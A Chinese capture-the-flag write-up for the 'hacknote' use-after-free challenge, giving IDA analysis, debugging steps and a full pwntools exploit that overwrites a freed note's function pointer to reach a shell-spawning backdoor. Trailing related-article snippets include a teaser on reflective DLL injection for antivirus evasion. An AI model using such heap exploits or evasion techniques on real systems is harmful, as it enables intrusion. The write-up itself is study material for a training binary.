hitcontraining_uaf

news/2024/10/29 5:28:59/

1,三连
在这里插入图片描述
基本信息:x86-32-el,堆题思路;
保护:Partial RELRO。

堆题多看一个Libc:
在这里插入图片描述

2,IDA分析
main功能:
在这里插入图片描述add_note()功能:
在这里插入图片描述malloc了两次:
8字节填充(利用点之一)=print_note_conten函数地址+print_note_content内容地址;

notelist[]属于bss段全局变量,存储chunk。

del_note()功能:
在这里插入图片描述发现后门函数:
在这里插入图片描述magic()=0x08048945
思路:UAF

条件:
堆块构成大小-fastbin;
一次add_note()malloc了两次,地址被notelist[]数组保存;
例如一次add_note(),notelist[0]=&print_note_content
notelist[1]=内容

3,payload调试
断点1
在这里插入图片描述关注点:0x804b158[3] = node[0]= 0x080485fb等会被改写
断点2:
在这里插入图片描述调试3:
在这里插入图片描述然后调用printf即条用了magic函数。

完整payload:

from pwn import*#r=remote('node4.buuoj.cn',27727)
r=process('./hacknote')def add(size,content):r.sendlineafter('choice :','1')r.sendlineafter('Note size :',str(size))r.sendlineafter('Content :',content)def delete(idx):r.sendlineafter('choice :','2')r.sendlineafter('Index :',str(idx))def printf(idx):r.sendlineafter('choice :','3')r.sendlineafter('Index :',str(idx))shell_addr=0x8048945gdb.attach(r)
add(24,'aaaa')
#pause()	#break1
add(24,'bbbb')
delete(0)
delete(1)
#pause()	#break2
add(8,p32(shell_addr))
pause()		#break3
printf(0)r.interactive()

在这里插入图片描述总结:
uaf条件:
fastbin利用,重新从tcache中获取free_fastbin,达到控制内容效果。
本题辅助点:
add_note()中可控制调用Put(即程序功能3. Print note ),同时magic函数直接system()调用

完。


http://www.ppmy.cn/news/57274.html

相关文章

学习笔记:分支结构

✨博文作者:烟雨孤舟 💖 喜欢的可以 点赞 收藏 关注哦~~ ✍️ 作者简介: 一个热爱大数据的学习者 文章目录 目录 文章目录 简介 if循环 if...else 语句 if...else if...else 语句 if语句嵌套 switch 语句 嵌套 switch 语句 简介 顺序结构&am…

快速搭建Electron+Vite3+Vue3+TypeScript5脚手架 (无需梯子,快速安装Electron)

一、介绍 😆 😁 😉 Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建 在Windows上运行的跨平台应用 macOS和Linux——不需…

【网络安全】红队基础免杀

引言 本文主要介绍“反射型 dll 注入”及“柔性加载”技术。 反射型 dll 注入 为什么需要反射型 dll 注入 常规的 dll 注入代码如下: int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] TEXT("C:\\experime…

通信原理简答题

目录 1. 通信系统由哪些部分组成?各组成部分的作用是什么? 2. 当谐振功率放大器的输入激励信号为余弦波时,为什么集电极电流为余弦脉冲波形?但放大器为什么又能输出不失真的余弦波电压? 3&am…

如何完全卸载linux下通过rpm安装的mysql

卸载linux下通过rpm安装的mysql 1.关闭MySQL服务2.使用 rpm 命令的方式查看已安装的mysql3. 使用rpm -ev 命令移除安装4. 查询是否还存在遗漏文件5. 删除MySQL数据库内容 1.关闭MySQL服务 如果之前安装过并已经启动,则需要卸载前请先关闭MySQL服务 systemctl stop…

程序员为什么越来越内卷了?聊聊java架构师需要掌握的技巧

几年前,一个其他专业的本科生或者专科生,随便培训几个月,便可以轻易拿到1万以上的月薪。培训机构可以拿出很多强有力的证据来证明这个行业的前景非常可观,这个趋势吸引了越来越多的人争相涌入到这个行业。正是因为人员越来越趋于饱…

无人机集群路径规划:淘金优化算法(Gold rush optimizer,GRO)提供MATLAB代码

一、淘金优化算法GRO 淘金优化算法(Gold rush optimizer,GRO)由Kamran Zolf于2023年提出,其灵感来自淘金热,模拟淘金者进行黄金勘探行为。 参考文献: K. Zolfi. Gold rush optimizer: A new population-ba…

分治算法:原理、实现及应用场景分析

分治算法是一种常用的算法思想,他将问题分成两个或多个更小的子问题,直到最小的子问题可以直接解决,然后将子问题的解合并成原始问题的解。下面将详细介绍分治算法的原理与实现,以及其优缺点与应用场景。 1、原理 分治算法的思想在古代就已经被儒家思想所包含:“尽人事,…